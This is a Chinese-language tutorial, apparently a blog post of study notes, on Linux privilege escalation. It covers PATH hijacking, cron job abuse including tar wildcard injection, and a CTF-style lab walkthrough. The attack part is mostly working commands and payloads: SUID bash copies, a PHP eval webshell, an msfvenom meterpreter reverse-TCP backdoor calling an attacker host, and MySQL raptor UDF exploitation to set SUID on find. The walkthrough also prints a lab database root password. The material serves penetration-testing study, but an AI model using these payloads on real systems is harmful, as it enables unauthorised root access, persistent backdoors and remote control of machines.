权限提升-Linux定时任务&环境变量&数据库
linux提权本地环境变量安全
测试以后大部分不存在该漏洞,属于没啥用
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}
执行命令
cd /tmp
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./ps
chmod u+s shell
./shell
id
- 复制文件
cp /bin/sh /tmp/ps
,ps
命令本来是用于显示当前进程的状态,复制后执行./ps
就变成了执行sh
命令
- 增加环境变量
export PATH=/tmp:$PATH
环境变量里新增/tmp
目录,此时执行ps
命令就相当于直接执行sh
命令了
- 执行触发
chmod u+s shell
,./shell
执行触发demo.c
里面的ps
命令,成功提权
linux提权本地定时任务安全
路径问题导致提权
利用计划任务指向的文件的相对路径解析问题
- 执行
cat /etc/crontab
命令,查看当前系统的定时任务,发现一个test.sh
任务没有写绝对路径,而且是以root权限运行的
-
定时任务中的
test.sh
没有写绝对路径,但我们知道它默认就是调用/usr/local/bin
目录下test.sh
-
打开看一下,发现此定时任务是每隔一分钟将系统日期写入
/tmp/time.log
,等1分钟,发现确实/tmp
目录下生成了time.log
,内容是当前时间
date >> /tmp/time.log
- 提权方法就是在用户目录下写入一个与
test.sh
同名的文件,执行,此时定时任务以root身份调用的就是我们写的/home/xiaodi/test.sh
,而不是系统原来的/usr/local/bin/test.sh
,从而提权
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
命令问题导致提权
利用通配符配合命令参数自定义命令实现提权
- 查看当前系统的定时任务,发现一个名为
backup.sh
的备份定时任务,而且是以root权限运行的
- 定时任务每分钟执行一次,打开
backup.sh
发现是将/home/undead/script
目录下的所有文件打包为backup.tar.gz
,并放到/tmp
目录下
#backup.sh
cd /home/undead/script;tar czf /tmp/backup.tar.gz *
- 使用以下命令在
/home/undead/script
目录下创建3个文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
- 系统定时任务执行,打包,打开
/tmp
目录查看,发现test.sh
等文件打包为一个backup.tar.gz
文件,但我们刚才创建的另外两个文件并未在backup.tar.gz
中,而是另外生成了一个bash
文件 - 原因是定时任务打包时使用了
*
将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给*
执行打包操作。前几个文件都没问题,但是当打包到--checkpoint=1
文件和--checkpoint-action=exec=sh test.sh
文件时,执行的相当于tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
- 而
--checkpoint
,--checkpoint-action
正好是tar
命令的参数,打包到这里就会导致tar
命令直接把--checkpoint=1
和--checkpoint-action=exec=sh test.sh
两个文件名当做参数执行,而不打包文件.--checkpoint-action=exec=sh test.sh
参数的意思是执行同目录下test.sh
文件,test.sh
文件内容又是把/bin/bash
拷贝给/tmp/bash
并给/tmp/bash
赋SUID权限。此时我们再执行/tmp/bash
就享有了suid权限 - 有个前提是至少要有备份目录的可写权限
./bash -p
id
权限问题导致提权
利用不安全的权限分配操作导致的定时文件覆盖
- 管理员正常创建一个文件
test.sh
时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh
,这样就可以执行test.sh
并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh
,这样虽然也可以实现执行test.sh
的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖
执行
cat /etc/crontab
命令,查看当前系统的定时任务,发现一个名为check.sh
的定时任务,而且是以root权限运行的
- 测试
check.sh
文件是否有权限问题。可以以普通用户身份直接修改check.sh
文件,如果能修改成功,说明存在权限问题 - 可以模仿上述方法,直接写入命令到定时任务
check.sh
从而成功提权 - 等待定时任务执行后,执行
/tmp/bash -p
,提权成功
cp /bin/bash /tmp/bash; chmod +s /tmp/bash
linux提权第三方服务数据库MYSQL
扫描获得信息
nmap -sV -O 192.168.50.0/24
nmap -p- 192.168.50.187
扫描目录,发现目录遍历
dirb http://192.168.50.187/
发现第一个flag和PHPMailer
尝试利用
searchsploit PHPMailer
searchsploit -p php/webapps/40974.py
选择40974.py,并修改exp
访问后面反弹shell
在上级目录发现flag2
写入后门获得shell
echo '<?php @eval($_POST[777]);?>' > 1.php
可以利用python获得持久化shell
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/sh")'
python3 -c 'import pty;pty.spawn("/bin/sh")'
也可以尝试反弹到meterpreter
生成后门
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.50.22 lport=4444 -f elf -o shell.elf
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
发现数据库运行
进入数据库后发现该参数为空字符串,mysql运行权限为root
searchsploit 从 exploit-db 中搜索相关的 exploit
searchsploit mysql udf
searchsploit -m linux/local/1518.c
在kali中编译好文件后上传
mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
根据注释中的命令进行
mysql -uroot -pR@v3nSecurity
use wordpress;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/1518/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');
查看find命令,权限已经被改变
touch 1997sty
find 1997sty -exec /bin/sh \;
找到flag3和flag4
find ./ -iname 'flag*'
linux提权提升简单总结
- 提权环境,信息收集(主要关注:SUID,定时任务,可能漏洞,第三方服务应用等)
- 最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
- 本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)
最后一次更新于2022-05-12 15:57
0 条评论